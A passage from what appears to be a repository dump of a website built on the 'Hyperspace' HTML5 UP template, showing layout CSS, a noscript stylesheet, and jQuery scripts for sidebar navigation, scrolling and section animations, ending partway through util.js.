translateY(-1em);\n\t\t\ttransform: translateY(-1em);\n\t\t}\n\n\t\t.wrapper.fade > .inner {\n\t\t\t-moz-transition: opacity 1s ease;\n\t\t\t-webkit-transition: opacity 1s ease;\n\t\t\t-ms-transition: opacity 1s ease;\n\t\t\ttransition: opacity 1s ease;\n\t\t\topacity: 1.0;\n\t\t}\n\n\t\t.wrapper.fade.inactive > .inner,\n\t\tbody.is-preload .wrapper.fade > .inner {\n\t\t\topacity: 0;\n\t\t}\n\n/* Header */\n\n\t#header {\n\t\tdisplay: -moz-flex;\n\t\tdisplay: -webkit-flex;\n\t\tdisplay: -ms-flex;\n\t\tdisplay: flex;\n\t\tbackground-color: #111111;\n\t\tcursor: default;\n\t\tpadding: 1.75em 2em;\n\t}\n\n\t\t#header > .title {\n\t\t\tborder: 0;\n\t\t\tcolor: #ffffff;\n\t\t\tdisplay: block;\n\t\t\tfont-size: 1.25em;\n\t\t\tfont-weight: bold;\n\t\t}\n\n\t\t#header > nav {\n\t\t\t-moz-flex: 1;\n\t\t\t-webkit-flex: 1;\n\t\t\t-ms-flex: 1;\n\t\t\tflex: 1;\n\t\t\ttext-align: right;\n\t\t}\n\n\t\t\t#header > nav > ul {\n\t\t\t\tmargin: 0;\n\t\t\t\tpadding: 0;\n\t\t\t}\n\n\t\t\t\t#header > nav > ul > li {\n\t\t\t\t\tdisplay: inline-block;\n\t\t\t\t\tmargin-left: 1.75em;\n\t\t\t\t\tpadding: 0;\n\t\t\t\t\tvertical-align: middle;\n\t\t\t\t}\n\n\t\t\t\t\t#header > nav > ul > li:first-child {\n\t\t\t\t\t\tmargin-left: 0;\n\t\t\t\t\t}\n\n\t\t\t\t\t#header > nav > ul > li a {\n\t\t\t\t\t\tborder: 0;\n\t\t\t\t\t\tcolor: rgba(255, 255, 255, 0.35);\n\t\t\t\t\t\tdisplay: inline-block;\n\t\t\t\t\t\tfont-size: 0.6em;\n\t\t\t\t\t\tfont-weight: bold;\n\t\t\t\t\t\tletter-spacing: 0.25em;\n\t\t\t\t\t\ttext-transform: uppercase;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t#header > nav > ul > li a:hover {\n\t\t\t\t\t\t\tcolor: rgba(255, 255, 255, 0.55);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t#header > nav > ul > li a.active {\n\t\t\t\t\t\t\tcolor: #ffffff;\n\t\t\t\t\t\t}\n\n\t\t@media screen and (max-width: 736px) {\n\n\t\t\t#header {\n\t\t\t\tpadding: 1em 2em;\n\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 480px) {\n\n\t\t\t#header {\n\t\t\t\tdisplay: block;\n\t\t\t\tpadding: 0 2em;\n\t\t\t\ttext-align: left;\n\t\t\t}\n\n\t\t\t\t#header .title {\n\t\t\t\t\tfont-size: 1.25em;\n\t\t\t\t\tpadding: 1em 0;\n\t\t\t\t}\n\n\t\t\t\t#header > nav {\n\t\t\t\t\tborder-top: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\t\t\ttext-align: inherit;\n\t\t\t\t}\n\n\t\t\t\t\t#header > nav > ul > li {\n\t\t\t\t\t\tmargin-left: 1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t#header > nav > ul > li a {\n\t\t\t\t\t\t\theight: 6em;\n\t\t\t\t\t\t\tline-height: 6em;\n\t\t\t\t\t\t}\n\n\t\t}\n\n/* Wrapper (main) */\n\n\t#sidebar + #wrapper {\n\t\tmargin-left: 18em;\n\t}\n\n\t\t@media screen and (max-width: 1280px) {\n\n\t\t\t#sidebar + #wrapper {\n\t\t\t\tmargin-left: 0;\n\t\t\t\tpadding-top: 3.5em;\n\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 736px) {\n\n\t\t\t#sidebar + #wrapper {\n\t\t\t\tpadding-top: 0;\n\t\t\t}\n\n\t\t}\n\n\t#header + #wrapper > .wrapper > .inner {\n\t\tmargin: 0 auto;\n\t}\n\n/* Footer */\n\n\t#sidebar + #wrapper + #footer {\n\t\tmargin-left: 18em;\n\t}\n\n\t\t@media screen and (max-width: 1280px) {\n\n\t\t\t#sidebar + #wrapper + #footer {\n\t\t\t\tmargin-left: 0;\n\t\t\t}\n\n\t\t}\n\n\t#footer > .inner a {\n\t\tborder-bottom-color: rgba(255, 255, 255, 0.15);\n\t}\n\n\t\t#footer > .inner a:hover {\n\t\t\tborder-bottom-color: transparent;\n\t\t}\n\n\t#footer > .inner .menu {\n\t\tfont-size: 0.8em;\n\t\tcolor: rgba(255, 255, 255, 0.15);\n\t}\n\n\t#header + #wrapper + #footer > .inner {\n\t\tmargin: 0 auto;\n\t}\n\n/* Sidebar */\n\n\t#sidebar {\n\t\tpadding: 2.5em 2.5em 0.5em 2.5em ;\n\t\tbackground: #111111;\n\t\tcursor: default;\n\t\theight: 100vh;\n\t\tleft: 0;\n\t\toverflow-x: hidden;\n\t\toverflow-y: auto;\n\t\tposition: fixed;\n\t\ttext-align: right;\n\t\ttop: 0;\n\t\twidth: 18em;\n\t\tz-index: 10000;\n\t}\n\n\t\t#sidebar > .inner {\n\t\t\tdisplay: -moz-flex;\n\t\t\tdisplay: -webkit-flex;\n\t\t\tdisplay: -ms-flex;\n\t\t\tdisplay: flex;\n\t\t\t-moz-flex-direction: column;\n\t\t\t-webkit-flex-direction: column;\n\t\t\t-ms-flex-direction: column;\n\t\t\tflex-direction: column;\n\t\t\t-moz-justify-content: center;\n\t\t\t-webkit-justify-content: center;\n\t\t\t-ms-justify-content: center;\n\t\t\tjustify-content: center;\n\t\t\t-moz-transform: translateY(0);\n\t\t\t-webkit-transform: translateY(0);\n\t\t\t-ms-transform: translateY(0);\n\t\t\ttransform: translateY(0);\n\t\t\t-moz-transition: opacity 1s ease;\n\t\t\t-webkit-transition: opacity 1s ease;\n\t\t\t-ms-transition: opacity 1s ease;\n\t\t\ttransition: opacity 1s ease;\n\t\t\tmin-height: 100%;\n\t\t\topacity: 1;\n\t\t\twidth: 100%;\n\t\t}\n\n\t\t\tbody.is-ie #sidebar > .inner {\n\t\t\t\theight: 100%;\n\t\t\t}\n\n\t\t#sidebar nav > ul {\n\t\t\tlist-style: none;\n\t\t\tpadding: 0;\n\t\t}\n\n\t\t\t#sidebar nav > ul > li {\n\t\t\t\t-moz-transform: translateY(0);\n\t\t\t\t-webkit-transform: translateY(0);\n\t\t\t\t-ms-transform: translateY(0);\n\t\t\t\ttransform: translateY(0);\n\t\t\t\t-moz-transition: opacity 0.15s ease, -moz-transform 0.75s ease;\n\t\t\t\t-webkit-transition: opacity 0.15s ease, -webkit-transform 0.75s ease;\n\t\t\t\t-ms-transition: opacity 0.15s ease, -ms-transform 0.75s ease;\n\t\t\t\ttransition: opacity 0.15s ease, transform 0.75s ease;\n\t\t\t\tmargin: 1.5em 0 0 0;\n\t\t\t\topacity: 1;\n\t\t\t\tpadding: 0;\n\t\t\t\tposition: relative;\n\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:first-child {\n\t\t\t\t\tmargin: 0;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(1) {\n\t\t\t\t\t-moz-transition-delay: 0.45s;\n\t\t\t\t\t-webkit-transition-delay: 0.45s;\n\t\t\t\t\t-ms-transition-delay: 0.45s;\n\t\t\t\t\ttransition-delay: 0.45s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(2) {\n\t\t\t\t\t-moz-transition-delay: 0.65s;\n\t\t\t\t\t-webkit-transition-delay: 0.65s;\n\t\t\t\t\t-ms-transition-delay: 0.65s;\n\t\t\t\t\ttransition-delay: 0.65s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(3) {\n\t\t\t\t\t-moz-transition-delay: 0.85s;\n\t\t\t\t\t-webkit-transition-delay: 0.85s;\n\t\t\t\t\t-ms-transition-delay: 0.85s;\n\t\t\t\t\ttransition-delay: 0.85s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(4) {\n\t\t\t\t\t-moz-transition-delay: 1.05s;\n\t\t\t\t\t-webkit-transition-delay: 1.05s;\n\t\t\t\t\t-ms-transition-delay: 1.05s;\n\t\t\t\t\ttransition-delay: 1.05s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(5) {\n\t\t\t\t\t-moz-transition-delay: 1.25s;\n\t\t\t\t\t-webkit-transition-delay: 1.25s;\n\t\t\t\t\t-ms-transition-delay: 1.25s;\n\t\t\t\t\ttransition-delay: 1.25s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(6) {\n\t\t\t\t\t-moz-transition-delay: 1.45s;\n\t\t\t\t\t-webkit-transition-delay: 1.45s;\n\t\t\t\t\t-ms-transition-delay: 1.45s;\n\t\t\t\t\ttransition-delay: 1.45s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(7) {\n\t\t\t\t\t-moz-transition-delay: 1.65s;\n\t\t\t\t\t-webkit-transition-delay: 1.65s;\n\t\t\t\t\t-ms-transition-delay: 1.65s;\n\t\t\t\t\ttransition-delay: 1.65s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(8) {\n\t\t\t\t\t-moz-transition-delay: 1.85s;\n\t\t\t\t\t-webkit-transition-delay: 1.85s;\n\t\t\t\t\t-ms-transition-delay: 1.85s;\n\t\t\t\t\ttransition-delay: 1.85s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(9) {\n\t\t\t\t\t-moz-transition-delay: 2.05s;\n\t\t\t\t\t-webkit-transition-delay: 2.05s;\n\t\t\t\t\t-ms-transition-delay: 2.05s;\n\t\t\t\t\ttransition-delay: 2.05s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(10) {\n\t\t\t\t\t-moz-transition-delay: 2.25s;\n\t\t\t\t\t-webkit-transition-delay: 2.25s;\n\t\t\t\t\t-ms-transition-delay: 2.25s;\n\t\t\t\t\ttransition-delay: 2.25s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(11) {\n\t\t\t\t\t-moz-transition-delay: 2.45s;\n\t\t\t\t\t-webkit-transition-delay: 2.45s;\n\t\t\t\t\t-ms-transition-delay: 2.45s;\n\t\t\t\t\ttransition-delay: 2.45s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(12) {\n\t\t\t\t\t-moz-transition-delay: 2.65s;\n\t\t\t\t\t-webkit-transition-delay: 2.65s;\n\t\t\t\t\t-ms-transition-delay: 2.65s;\n\t\t\t\t\ttransition-delay: 2.65s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(13) {\n\t\t\t\t\t-moz-transition-delay: 2.85s;\n\t\t\t\t\t-webkit-transition-delay: 2.85s;\n\t\t\t\t\t-ms-transition-delay: 2.85s;\n\t\t\t\t\ttransition-delay: 2.85s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(14) {\n\t\t\t\t\t-moz-transition-delay: 3.05s;\n\t\t\t\t\t-webkit-transition-delay: 3.05s;\n\t\t\t\t\t-ms-transition-delay: 3.05s;\n\t\t\t\t\ttransition-delay: 3.05s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(15) {\n\t\t\t\t\t-moz-transition-delay: 3.25s;\n\t\t\t\t\t-webkit-transition-delay: 3.25s;\n\t\t\t\t\t-ms-transition-delay: 3.25s;\n\t\t\t\t\ttransition-delay: 3.25s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(16) {\n\t\t\t\t\t-moz-transition-delay: 3.45s;\n\t\t\t\t\t-webkit-transition-delay: 3.45s;\n\t\t\t\t\t-ms-transition-delay: 3.45s;\n\t\t\t\t\ttransition-delay: 3.45s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(17) {\n\t\t\t\t\t-moz-transition-delay: 3.65s;\n\t\t\t\t\t-webkit-transition-delay: 3.65s;\n\t\t\t\t\t-ms-transition-delay: 3.65s;\n\t\t\t\t\ttransition-delay: 3.65s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(18) {\n\t\t\t\t\t-moz-transition-delay: 3.85s;\n\t\t\t\t\t-webkit-transition-delay: 3.85s;\n\t\t\t\t\t-ms-transition-delay: 3.85s;\n\t\t\t\t\ttransition-delay: 3.85s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(19) {\n\t\t\t\t\t-moz-transition-delay: 4.05s;\n\t\t\t\t\t-webkit-transition-delay: 4.05s;\n\t\t\t\t\t-ms-transition-delay: 4.05s;\n\t\t\t\t\ttransition-delay: 4.05s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(20) {\n\t\t\t\t\t-moz-transition-delay: 4.25s;\n\t\t\t\t\t-webkit-transition-delay: 4.25s;\n\t\t\t\t\t-ms-transition-delay: 4.25s;\n\t\t\t\t\ttransition-delay: 4.25s;\n\t\t\t\t}\n\n\t\t#sidebar nav a {\n\t\t\t-moz-transition: color 0.2s ease;\n\t\t\t-webkit-transition: color 0.2s ease;\n\t\t\t-ms-transition: color 0.2s ease;\n\t\t\ttransition: color 0.2s ease;\n\t\t\tborder: 0;\n\t\t\tcolor: rgba(255, 255, 255, 0.35);\n\t\t\tdisplay: block;\n\t\t\tfont-size: 0.6em;\n\t\t\tfont-weight: bold;\n\t\t\tletter-spacing: 0.25em;\n\t\t\tline-height: 1.75;\n\t\t\toutline: 0;\n\t\t\tpadding: 1.35em 0;\n\t\t\tposition: relative;\n\t\t\ttext-decoration: none;\n\t\t\ttext-transform: uppercase;\n\t\t}\n\n\t\t\t#sidebar nav a:before, #sidebar nav a:after {\n\t\t\t\tborder-radius: 0.2em;\n\t\t\t\tbottom: 0;\n\t\t\t\tcontent: '';\n\t\t\t\theight: 0.2em;\n\t\t\t\tposition: absolute;\n\t\t\t\tright: 0;\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\t\t\t#sidebar nav a:before {\n\t\t\t\tbackground: #9d9d9d;\n\t\t\t}\n\n\t\t\t#sidebar nav a:after {\n\t\t\t\tbackground-image: -moz-linear-gradient(to right, #9d9d9d, #7575FF);\n\t\t\t\tbackground-image: -webkit-linear-gradient(to right, #9d9d9d, #7575FF);\n\t\t\t\tbackground-image: -ms-linear-gradient(to right, #9d9d9d, #7575FF);\n\t\t\t\tbackground-image: linear-gradient(to right, #9d9d9d, #7575FF);\n\t\t\t\t-moz-transition: max-width 0.2s ease;\n\t\t\t\t-webkit-transition: max-width 0.2s ease;\n\t\t\t\t-ms-transition: max-width 0.2s ease;\n\t\t\t\ttransition: max-width 0.2s ease;\n\t\t\t\tmax-width: 0;\n\t\t\t}\n\n\t\t\t#sidebar nav a:hover {\n\t\t\t\tcolor: rgba(255, 255, 255, 0.55);\n\t\t\t}\n\n\t\t\t#sidebar nav a.active {\n\t\t\t\tcolor: #7575FF;\n\t\t\t}\n\n\t\t\t\t#sidebar nav a.active:after {\n\t\t\t\t\tmax-width: 100%;\n\t\t\t\t}\n\n\t\tbody.is-preload #sidebar > .inner {\n\t\t\topacity: 0;\n\t\t}\n\n\t\tbody.is-preload #sidebar nav ul li {\n\t\t\t-moz-transform: translateY(2em);\n\t\t\t-webkit-transform: translateY(2em);\n\t\t\t-ms-transform: translateY(2em);\n\t\t\ttransform: translateY(2em);\n\t\t\topacity: 0;\n\t\t}\n\n\t\t@media screen and (max-width: 1280px) {\n\n\t\t\t#sidebar {\n\t\t\t\theight: 3.5em;\n\t\t\t\tleft: 0;\n\t\t\t\tline-height: 3.5em;\n\t\t\t\toverflow: hidden;\n\t\t\t\tpadding: 0;\n\t\t\t\ttext-align: center;\n\t\t\t\ttop: 0;\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\t\t\t\t#sidebar > .inner {\n\t\t\t\t\t-moz-flex-direction: row;\n\t\t\t\t\t-webkit-flex-direction: row;\n\t\t\t\t\t-ms-flex-direction: row;\n\t\t\t\t\tflex-direction: row;\n\t\t\t\t\t-moz-align-items: -moz-stretch;\n\t\t\t\t\t-webkit-align-items: -webkit-stretch;\n\t\t\t\t\t-ms-align-items: -ms-stretch;\n\t\t\t\t\talign-items: stretch;\n\t\t\t\t\theight: inherit;\n\t\t\t\t\tline-height: inherit;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav {\n\t\t\t\t\theight: inherit;\n\t\t\t\t\tline-height: inherit;\n\t\t\t\t}\n\n\t\t\t\t\t#sidebar nav ul {\n\t\t\t\t\t\tdisplay: -moz-flex;\n\t\t\t\t\t\tdisplay: -webkit-flex;\n\t\t\t\t\t\tdisplay: -ms-flex;\n\t\t\t\t\t\tdisplay: flex;\n\t\t\t\t\t\theight: inherit;\n\t\t\t\t\t\tline-height: inherit;\n\t\t\t\t\t\tmargin: 0;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t#sidebar nav ul li {\n\t\t\t\t\t\t\tdisplay: block;\n\t\t\t\t\t\t\theight: inherit;\n\t\t\t\t\t\t\tline-height: inherit;\n\t\t\t\t\t\t\tmargin: 0 0 0 2em;\n\t\t\t\t\t\t\tpadding: 0;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t#sidebar nav a {\n\t\t\t\t\t\theight: inherit;\n\t\t\t\t\t\tline-height: inherit;\n\t\t\t\t\t\tpadding: 0;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t#sidebar nav a:after {\n\t\t\t\t\t\t\tbackground-image: none;\n\t\t\t\t\t\t\tbackground-color: #7575FF;\n\t\t\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 736px) {\n\n\t\t\t#sidebar {\n\t\t\t\tdisplay: none;\n\t\t\t}\n\n\t\t}\n\n/* Intro */\n\n\t#intro {\n\t\tbackground-attachment: fixed;\n\t\tbackground-image: url(\"images/background.svg\");\n\t\tbackground-position: top right;\n\t\tbackground-repeat: no-repeat;\n\t\tbackground-size: 100% 100%;\n\t}\n\n\t\t#intro p {\n\t\t\tfont-size: 1.25em;\n\t\t}\n\n\t\t\t@media screen and (max-width: 980px) {\n\n\t\t\t\t#intro p br {\n\t\t\t\t\tdisplay: none;\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t@media screen and (max-width: 736px) {\n\n\t\t\t\t#intro p {\n\t\t\t\t\tfont-size: 1em;\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t@media screen and (max-width: 1280px) {\n\n\t\t\t#intro {\n\t\t\t\tbackground-attachment: scroll;\n\t\t\t}\n\n\t\t}"
  },
  {
    "path": "2022/assets/css/noscript.css",
    "content": "/*\r\n\tHyperspace by HTML5 UP\r\n\thtml5up.net | @ajlkn\r\n\tFree for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n*/\n\n/* Spotlights */\n\n\t.spotlights > section > .image:before {\n\t\topacity: 0 !important;\n\t}\n\n\t.spotlights > section > .content > .inner {\n\t\t-moz-transform: none !important;\n\t\t-webkit-transform: none !important;\n\t\t-ms-transform: none !important;\n\t\ttransform: none !important;\n\t\topacity: 1 !important;\n\t}\n\n/* Wrapper */\n\n\t.wrapper > .inner {\n\t\topacity: 1 !important;\n\t\t-moz-transform: none !important;\n\t\t-webkit-transform: none !important;\n\t\t-ms-transform: none !important;\n\t\ttransform: none !important;\n\t}\n\n/* Sidebar */\n\n\t#sidebar > .inner {\n\t\topacity: 1 !important;\n\t}\n\n\t#sidebar nav > ul > li {\n\t\t-moz-transform: none !important;\n\t\t-webkit-transform: none !important;\n\t\t-ms-transform: none !important;\n\t\ttransform: none !important;\n\t\topacity: 1 !important;\n\t}"
  },
  {
    "path": "2022/assets/js/main.js",
    "content": "/*\r\n\tHyperspace by HTML5 UP\r\n\thtml5up.net | @ajlkn\r\n\tFree for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n*/\r\n\r\n(function($) {\r\n\r\n\tvar\t$window = $(window),\r\n\t\t$body = $('body'),\r\n\t\t$sidebar = $('#sidebar');\r\n\r\n\t// Breakpoints.\r\n\t\tbreakpoints({\r\n\t\t\txlarge:   [ '1281px',  '1680px' ],\r\n\t\t\tlarge:    [ '981px',   '1280px' ],\r\n\t\t\tmedium:   [ '737px',   '980px'  ],\r\n\t\t\tsmall:    [ '481px',   '736px'  ],\r\n\t\t\txsmall:   [ null,      '480px'  ]\r\n\t\t});\r\n\r\n\t// Hack: Enable IE flexbox workarounds.\r\n\t\tif (browser.name == 'ie')\r\n\t\t\t$body.addClass('is-ie');\r\n\r\n\t// Play initial animations on page load.\r\n\t\t$window.on('load', function() {\r\n\t\t\twindow.setTimeout(function() {\r\n\t\t\t\t$body.removeClass('is-preload');\r\n\t\t\t}, 100);\r\n\t\t});\r\n\r\n\t// Forms.\r\n\r\n\t\t// Hack: Activate non-input submits.\r\n\t\t\t$('form').on('click', '.submit', function(event) {\r\n\r\n\t\t\t\t// Stop propagation, default.\r\n\t\t\t\t\tevent.stopPropagation();\r\n\t\t\t\t\tevent.preventDefault();\r\n\r\n\t\t\t\t// Submit form.\r\n\t\t\t\t\t$(this).parents('form').submit();\r\n\r\n\t\t\t});\r\n\r\n\t// Sidebar.\r\n\t\tif ($sidebar.length > 0) {\r\n\r\n\t\t\tvar $sidebar_a = $sidebar.find('a');\r\n\r\n\t\t\t$sidebar_a\r\n\t\t\t\t.addClass('scrolly')\r\n\t\t\t\t.on('click', function() {\r\n\r\n\t\t\t\t\tvar $this = $(this);\r\n\r\n\t\t\t\t\t// External link? Bail.\r\n\t\t\t\t\t\tif ($this.attr('href').charAt(0) != '#')\r\n\t\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\t// Deactivate all links.\r\n\t\t\t\t\t\t$sidebar_a.removeClass('active');\r\n\r\n\t\t\t\t\t// Activate link *and* lock it (so Scrollex doesn't try to activate other links as we're scrolling to this one's section).\r\n\t\t\t\t\t\t$this\r\n\t\t\t\t\t\t\t.addClass('active')\r\n\t\t\t\t\t\t\t.addClass('active-locked');\r\n\r\n\t\t\t\t})\r\n\t\t\t\t.each(function() {\r\n\r\n\t\t\t\t\tvar\t$this = $(this),\r\n\t\t\t\t\t\tid = $this.attr('href'),\r\n\t\t\t\t\t\t$section = $(id);\r\n\r\n\t\t\t\t\t// No section for this link? Bail.\r\n\t\t\t\t\t\tif ($section.length < 1)\r\n\t\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\t// Scrollex.\r\n\t\t\t\t\t\t$section.scrollex({\r\n\t\t\t\t\t\t\tmode: 'middle',\r\n\t\t\t\t\t\t\ttop: '-20vh',\r\n\t\t\t\t\t\t\tbottom: '-20vh',\r\n\t\t\t\t\t\t\tinitialize: function() {\r\n\r\n\t\t\t\t\t\t\t\t// Deactivate section.\r\n\t\t\t\t\t\t\t\t\t$section.addClass('inactive');\r\n\r\n\t\t\t\t\t\t\t},\r\n\t\t\t\t\t\t\tenter: function() {\r\n\r\n\t\t\t\t\t\t\t\t// Activate section.\r\n\t\t\t\t\t\t\t\t\t$section.removeClass('inactive');\r\n\r\n\t\t\t\t\t\t\t\t// No locked links? Deactivate all links and activate this section's one.\r\n\t\t\t\t\t\t\t\t\tif ($sidebar_a.filter('.active-locked').length == 0) {\r\n\r\n\t\t\t\t\t\t\t\t\t\t$sidebar_a.removeClass('active');\r\n\t\t\t\t\t\t\t\t\t\t$this.addClass('active');\r\n\r\n\t\t\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t\t// Otherwise, if this section's link is the one that's locked, unlock it.\r\n\t\t\t\t\t\t\t\t\telse if ($this.hasClass('active-locked'))\r\n\t\t\t\t\t\t\t\t\t\t$this.removeClass('active-locked');\r\n\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t});\r\n\r\n\t\t\t\t});\r\n\r\n\t\t}\r\n\r\n\t// Scrolly.\r\n\t\t$('.scrolly').scrolly({\r\n\t\t\tspeed: 1000,\r\n\t\t\toffset: function() {\r\n\r\n\t\t\t\t// If <=large, >small, and sidebar is present, use its height as the offset.\r\n\t\t\t\t\tif (breakpoints.active('<=large')\r\n\t\t\t\t\t&&\t!breakpoints.active('<=small')\r\n\t\t\t\t\t&&\t$sidebar.length > 0)\r\n\t\t\t\t\t\treturn $sidebar.height();\r\n\r\n\t\t\t\treturn 0;\r\n\r\n\t\t\t}\r\n\t\t});\r\n\r\n\t// Spotlights.\r\n\t\t$('.spotlights > section')\r\n\t\t\t.scrollex({\r\n\t\t\t\tmode: 'middle',\r\n\t\t\t\ttop: '-10vh',\r\n\t\t\t\tbottom: '-10vh',\r\n\t\t\t\tinitialize: function() {\r\n\r\n\t\t\t\t\t// Deactivate section.\r\n\t\t\t\t\t\t$(this).addClass('inactive');\r\n\r\n\t\t\t\t},\r\n\t\t\t\tenter: function() {\r\n\r\n\t\t\t\t\t// Activate section.\r\n\t\t\t\t\t\t$(this).removeClass('inactive');\r\n\r\n\t\t\t\t}\r\n\t\t\t})\r\n\t\t\t.each(function() {\r\n\r\n\t\t\t\tvar\t$this = $(this),\r\n\t\t\t\t\t$image = $this.find('.image'),\r\n\t\t\t\t\t$img = $image.find('img'),\r\n\t\t\t\t\tx;\r\n\r\n\t\t\t\t// Assign image.\r\n\t\t\t\t\t$image.css('background-image', 'url(' + $img.attr('src') + ')');\r\n\r\n\t\t\t\t// Set background position.\r\n\t\t\t\t\tif (x = $img.data('position'))\r\n\t\t\t\t\t\t$image.css('background-position', x);\r\n\r\n\t\t\t\t// Hide <img>.\r\n\t\t\t\t\t$img.hide();\r\n\r\n\t\t\t});\r\n\r\n\t// Features.\r\n\t\t$('.features')\r\n\t\t\t.scrollex({\r\n\t\t\t\tmode: 'middle',\r\n\t\t\t\ttop: '-20vh',\r\n\t\t\t\tbottom: '-20vh',\r\n\t\t\t\tinitialize: function() {\r\n\r\n\t\t\t\t\t// Deactivate section.\r\n\t\t\t\t\t\t$(this).addClass('inactive');\r\n\r\n\t\t\t\t},\r\n\t\t\t\tenter: function() {\r\n\r\n\t\t\t\t\t// Activate section.\r\n\t\t\t\t\t\t$(this).removeClass('inactive');\r\n\r\n\t\t\t\t}\r\n\t\t\t});\r\n\r\n})(jQuery);"
  },
  {
    "path": "2022/assets/js/util.js",
    "content": "(function($) {\r\n\r\n\t/**\r\n\t * Generate an indented list of links from a nav. Meant for use with panel().\r\n\t * @return {jQuery} jQuery object.\r\n\t */\r\n\t$.fn.navList = function() {\r\n\r\n\t\tvar\t$this = $(this);\r\n\t\t\t$a = $this.find('a'),\r\n\t\t\tb = [];\r\n\r\n\t\t$a.each(function() {\r\n\r\n\t\t\tvar\t$this = $(this),\r\n\t\t\t\tindent = Math.max(0, $this.parents('li').length - 1),\r\n\t\t\t\thref = $this.attr('href'),\r\n\t\t\t\ttarget = $this.attr('target');\r\n\r\n\t\t\tb.push(\r\n\t\t\t\t'<a ' +\r\n\t\t\t\t\t'class=\"link depth-' + indent + '\"' +\r\n\t\t\t\t\t( (typeof target !== 'undefined' && target != '') ? ' target=\"' + target + '\"' : '') +\r\n\t\t\t\t\t( (typeof href !== 'undefined' && href != '') ? ' href=\"' + href + '\"' : '') +\r\n\t\t\t\t'>' +\r\n\t\t\t\t\t'<span class=\"indent-' + indent + '\"></span>' +\r\n\t\t\t\t\t$this.text() +\r\n\t\t\t\t'</a>'\r\n\t\t\t);\r\n\r\n\t\t});\r\n\r\n\t\treturn b.join('');\r\n\r\n\t};\r\n\r\n\t/**\r\n\t * Panel-ify an element.\r\n\t * @param {object} userConfig User config.\r\n\t * @return {jQuery} jQuery object.\r\n\t */\r\n\t$.fn.panel = function(userConfig) {\r\n\r\n\t\t// No elements?\r\n\t\t\tif (this.length == 0)\r\n\t\t\t\treturn $this;\r\n\r\n\t\t// Multiple elements?\r\n\t\t\tif (this.length > 1) {\r\n\r\n\t\t\t\tfor (var i=0; i < this.length; i++)\r\n\t\t\t\t\t$(this[i]).panel(userConfig);\r\n\r\n\t\t\t\treturn $this;\r\n\r\n\t\t\t}\r\n\r\n\t\t// Vars.\r\n\t\t\tvar\t$this = $(this),\r\n\t\t\t\t$body = $('body'),\r\n\t\t\t\t$window = $(window),\r\n\t\t\t\tid = $this.attr('id'),\r\n\t\t\t\tconfig;\r\n\r\n\t\t// Config.\r\n\t\t\tconfig = $.extend({\r\n\r\n\t\t\t\t// Delay.\r\n\t\t\t\t\tdelay: 0,\r\n\r\n\t\t\t\t// Hide panel on link click.\r\n\t\t\t\t\thideOnClick: false,\r\n\r\n\t\t\t\t// Hide panel on escape keypress.\r\n\t\t\t\t\thideOnEscape: false,\r\n\r\n\t\t\t\t// Hide panel on swipe.\r\n\t\t\t\t\thideOnSwipe: false,\r\n\r\n\t\t\t\t// Reset scroll position on hide.\r\n\t\t\t\t\tresetScroll: false,\r\n\r\n\t\t\t\t// Reset forms on hide.\r\n\t\t\t\t\tresetForms: false,\r\n\r\n\t\t\t\t// Side of viewport the panel will appear.\r\n\t\t\t\t\tside: null,\r\n\r\n\t\t\t\t// Target element for \"class\".\r\n\t\t\t\t\ttarget: $this,\r\n\r\n\t\t\t\t// Class to toggle.\r\n\t\t\t\t\tvisibleClass: 'visible'\r\n\r\n\t\t\t}, userConfig);\r\n\r\n\t\t\t// Expand \"target\" if it's not a jQuery object already.\r\n\t\t\t\tif (typeof config.target != 'jQuery')\r\n\t\t\t\t\tconfig.target = $(config.target);\r\n\r\n\t\t// Panel.\r\n\r\n\t\t\t// Methods.\r\n\t\t\t\t$this._hide = function(event) {\r\n\r\n\t\t\t\t\t// Already hidden? Bail.\r\n\t\t\t\t\t\tif 